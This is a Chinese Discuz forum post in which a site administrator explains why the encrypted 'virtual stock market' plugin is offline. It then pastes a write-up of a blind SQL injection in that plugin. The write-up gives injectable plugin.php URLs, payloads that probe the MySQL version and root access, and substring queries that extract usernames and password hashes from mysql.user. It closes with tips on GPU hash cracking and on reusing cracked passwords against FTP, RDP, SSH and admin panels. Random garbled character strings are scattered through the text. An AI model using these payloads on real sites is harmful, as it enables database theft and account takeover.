TA的每日心情 | 擦汗 4 小时前 |
---|
签到天数: 2392 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。: r: {2 j& [# t" a
6 i( T/ |3 A. L" |我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。4 m, I/ g; l' q% B
5 Z9 l/ N# B8 o5 l. ~+ s+ t- F" \漏洞如下:# J4 ~8 @/ @0 o' J. }3 L
( z1 T1 d6 F" [2 u+ V5 o! p
Discuz插件《虚拟股市》blind Injection Vul利用
' J$ |8 p* ]" [, I7 `6 { y3 o- a7 c; j, U/ y# A
5 l9 ?0 H8 q6 F; v0 I( @- @
漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。 # U, s- q2 D* r8 s! O V
经过简单的测试,就发现了《虚拟股市》存在注射漏洞: # \8 z: {" r/ b4 S3 s: |
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 - s) }' y" C+ d9 A7 J) c9 d
http://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数
: v. {0 R% P) P2 [确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。
$ i: W6 @& _ _; r! K思路有二:
$ }1 t8 m+ a" U" b( V+ q, Y1.尝试盲注
' b" r8 x; A+ i- j1 J2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数 ! K1 |; \% |+ Y' H- ]
但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。
0 P7 |; G0 z1 P0 ]' I2 S, ^$ H8 q盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下:
9 _- W4 I9 f& Q#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 7 l2 }, k7 l$ Q, M8 o
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 8 N; \# ~9 M2 L$ Q. v3 ?! X
#是否支持子查询(版本为4的情况下) # i4 }2 w+ }$ Z" V3 ?6 D6 c
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
$ d" i% u R: t' ^) F9 p+ C#当前用户是否为root
4 G! ~5 ^7 B& t# u8 g/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1 . c% H3 `: X# g
下面就根据情况而异了:
' [1 E7 N& {7 I8 i& `1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。
. T- R5 t+ B$ {, U4 i2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 8 R0 H: c- L5 a4 `
#######取数据
( E/ \' f* O" m+ E! ^- l#mysql.user表第一行第一个字符的ASCII值是否大于80
" ?: I3 y1 o, J* |and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80 , I: L; b. H( S5 ^8 F$ {% J7 U
#第二个字符的ASCII值是否大于90
9 U' e, a. x: Q% _# q- h3 qand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
0 `+ N D. l4 w…………
9 r8 |$ \$ d, T. g( s1 L6 K0 v就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。 , O$ q2 p6 i/ u9 K" _0 H
密码破解: : @/ n0 F9 q# e. p
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
, P4 \( t$ M3 d6 @. b2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|